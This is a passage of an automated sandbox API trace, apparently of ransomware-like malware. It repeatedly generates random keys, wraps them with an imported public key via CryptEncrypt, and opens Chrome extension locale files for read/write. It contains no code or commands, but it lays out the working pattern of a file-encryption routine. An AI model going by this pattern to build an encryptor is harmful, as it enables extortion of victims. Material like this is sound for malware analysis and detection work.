dwBufLen=0x800 | out: pbData=0xc4e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.768] GetLastError () returned 0x0 [0244.768] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.768] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.770] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785cc8) returned 1 [0244.770] CryptGetKeyParam (in: hKey=0x6785cc8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.770] CryptEncrypt (in: hKey=0x6785cc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc4f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc4f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.770] GetLastError () returned 0x0 [0244.770] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.770] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.771] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.774] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.777] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.777] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.777] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.777] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.779] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.781] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.781] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.781] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.782] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.784] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785fc8) returned 1 [0244.784] CryptGetKeyParam (in: hKey=0x6785fc8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.784] CryptEncrypt (in: hKey=0x6785fc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc500000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc500000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.785] GetLastError () returned 0x0 [0244.785] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.785] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.787] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785b48) returned 1 [0244.787] CryptGetKeyParam (in: hKey=0x6785b48, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.787] CryptEncrypt (in: hKey=0x6785b48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc510000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc510000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.787] GetLastError () returned 0x0 [0244.787] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.787] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.788] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.791] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.793] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.793] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.793] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.793] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.795] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.797] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.797] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.797] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.797] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.800] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785bc8) returned 1 [0244.800] CryptGetKeyParam (in: hKey=0x6785bc8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.800] CryptEncrypt (in: hKey=0x6785bc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc520000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc520000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.801] GetLastError () returned 0x0 [0244.801] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.801] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.802] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67859c8) returned 1 [0244.802] CryptGetKeyParam (in: hKey=0x67859c8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.802] CryptEncrypt (in: hKey=0x67859c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc530000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc530000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.803] GetLastError () returned 0x0 [0244.803] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.803] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.804] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.807] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.809] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.809] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.809] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.809] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.811] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.813] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.813] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.813] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.813] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.815] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785d88) returned 1 [0244.816] CryptGetKeyParam (in: hKey=0x6785d88, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.816] CryptEncrypt (in: hKey=0x6785d88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc540000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc540000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.816] GetLastError () returned 0x0 [0244.816] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.816] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.818] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785f88) returned 1 [0244.818] CryptGetKeyParam (in: hKey=0x6785f88, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.818] CryptEncrypt (in: hKey=0x6785f88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc550000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc550000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.818] GetLastError () returned 0x0 [0244.818] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.818] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.819] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.822] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.823] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.823] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.824] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.824] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.826] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.828] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.828] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.828] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.828] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.831] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785ac8) returned 1 [0244.831] CryptGetKeyParam (in: hKey=0x6785ac8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.831] CryptEncrypt (in: hKey=0x6785ac8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc560000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc560000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.831] GetLastError () returned 0x0 [0244.831] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.831] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.833] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785c08) returned 1 [0244.833] CryptGetKeyParam (in: hKey=0x6785c08, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.833] CryptEncrypt (in: hKey=0x6785c08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc570000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc570000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.833] GetLastError () returned 0x0 [0244.833] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.833] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.834] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.838] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.840] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.841] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.841] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.841] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.844] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.846] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.846] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.846] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.847] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.849] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785888) returned 1 [0244.849] CryptGetKeyParam (in: hKey=0x6785888, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.849] CryptEncrypt (in: hKey=0x6785888, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc580000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc580000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.849] GetLastError () returned 0x0 [0244.849] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.849] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.851] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785dc8) returned 1 [0244.851] CryptGetKeyParam (in: hKey=0x6785dc8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.851] CryptEncrypt (in: hKey=0x6785dc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc590000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc590000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.851] GetLastError () returned 0x0 [0244.851] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.851] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.852] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.855] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.858] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.858] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.858] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.858] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0244.860] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.862] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.864] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.864] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.864] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.867] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785e08) returned 1 [0244.867] CryptGetKeyParam (in: hKey=0x6785e08, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.867] CryptEncrypt (in: hKey=0x6785e08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc5a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc5a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.867] GetLastError () returned 0x0 [0244.867] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.867] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0244.869] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x67858c8) returned 1 [0244.869] CryptGetKeyParam (in: hKey=0x67858c8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.869] CryptEncrypt (in: hKey=0x67858c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc5b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0xc5b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0244.869] GetLastError () returned 0x0 [0244.869] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0244.869] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0244.871] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.874] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.877] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.877] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0244.877] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.877] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0244.880] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0244.883] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0244.883] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0244.883] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0244.883] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0244.886] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x6785e48) returned 1 [0244.886] CryptGetKeyParam (in: hKey=0x6785e48, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0244.886] CryptEncrypt (in: hKey=0x6785e48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc5c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0xc5c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0244.886] GetLastError () returned 0x0 [0244.886] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0244.886] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0244.888] CryptImportKey 